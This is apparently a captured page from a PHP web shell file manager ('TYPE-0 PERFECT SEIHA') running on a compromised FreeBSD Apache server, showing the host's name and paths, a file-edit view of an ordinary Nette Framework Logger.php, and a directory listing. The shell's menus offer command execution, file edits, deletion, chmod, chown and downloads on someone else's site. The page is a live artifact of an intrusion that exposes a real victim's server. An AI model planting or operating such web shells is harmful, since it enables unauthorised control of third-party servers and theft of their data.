TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Diagnostics
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Diagnostics/Logger.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Diagnostics; use Nette; /** * Logger. * * @author David Grudl */ class Logger extends Nette\Object { const DEBUG = 'debug', INFO = 'info', WARNING = 'warning', ERROR = 'error', CRITICAL = 'critical'; /** @var int interval for sending email is 2 days */ public static $emailSnooze = 172800; /** @var callable handler for sending emails */ public $mailer = array(__CLASS__, 'defaultMailer'); /** @var string name of the directory where errors should be logged; FALSE means that logging is disabled */ public $directory; /** @var string email to sent error notifications */ public $email; /** * Logs message or exception to file and sends email notification. * @param string|array * @param int one of constant INFO, WARNING, ERROR (sends email), CRITICAL (sends email) * @return bool was successful? */ public function log($message, $priority = self::INFO) { if (!is_dir($this->directory)) { throw new Nette\DirectoryNotFoundException("Directory '$this->directory' is not found or is not directory."); } if (is_array($message)) { $message = implode(' ', $message); } $res = error_log(trim($message) . PHP_EOL, 3, $this->directory . '/' . strtolower($priority) . '.log'); if (($priority === self::ERROR || $priority === self::CRITICAL) && $this->email && $this->mailer && @filemtime($this->directory . '/email-sent') + self::$emailSnooze < time() // @ - file may not exist && @file_put_contents($this->directory . '/email-sent', 'sent') // @ - file may not be writable ) { Nette\Callback::create($this->mailer)->invoke($message, $this->email); } return $res; } /** * Default mailer. * @param string * @param string * @return void */ public static function defaultMailer($message, $email) { $host = php_uname('n'); foreach (array('HTTP_HOST','SERVER_NAME', 'HOSTNAME') as $item) { if (isset($_SERVER[$item])) { $host = $_SERVER[$item]; break; } } $parts = str_replace( array("\r\n", "\n"), array("\n", PHP_EOL), array( 'headers' => implode("\n", array( "From: noreply@$host", 'X-Mailer: Nette Framework', 'Content-Type: text/plain; charset=UTF-8', 'Content-Transfer-Encoding: 8bit', )) . "\n", 'subject' => "PHP: An error occurred on the server $host", 'body' => "[" . @date('Y-m-d H:i:s') . "] $message", // @ - timezone may not be set ) ); mail($email, $parts['subject'], $parts['body'], $parts['headers']); } }
Crotin
Name
Size
Permissions
Modified
User/Group
shortcuts.php
465
0644
2015-08-08 18:27:45
Unknown/Unknown
DefaultBarPanel.php
1491
0644
2015-08-08 18:27:45
Unknown/Unknown
FireLogger.php
5059
0644
2015-08-08 18:27:45
Unknown/Unknown
IBarPanel.php
592
0644
2015-08-08 18:27:45
Unknown/Unknown
templates
-
0755
2015-08-08 18:27:52
Unknown/Unknown
Debugger.php
20363
0644
2015-08-08 18:27:45
Unknown/Unknown
Bar.php
1616
0644
2015-08-08 18:27:45
Unknown/Unknown
Logger.php
2785
0644
2015-08-08 18:27:45
Unknown/Unknown
BlueScreen.php
3231
0644
2015-08-08 18:27:45
Unknown/Unknown
Helpers.php
7164
0644
2015-08-08 18:27:45
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin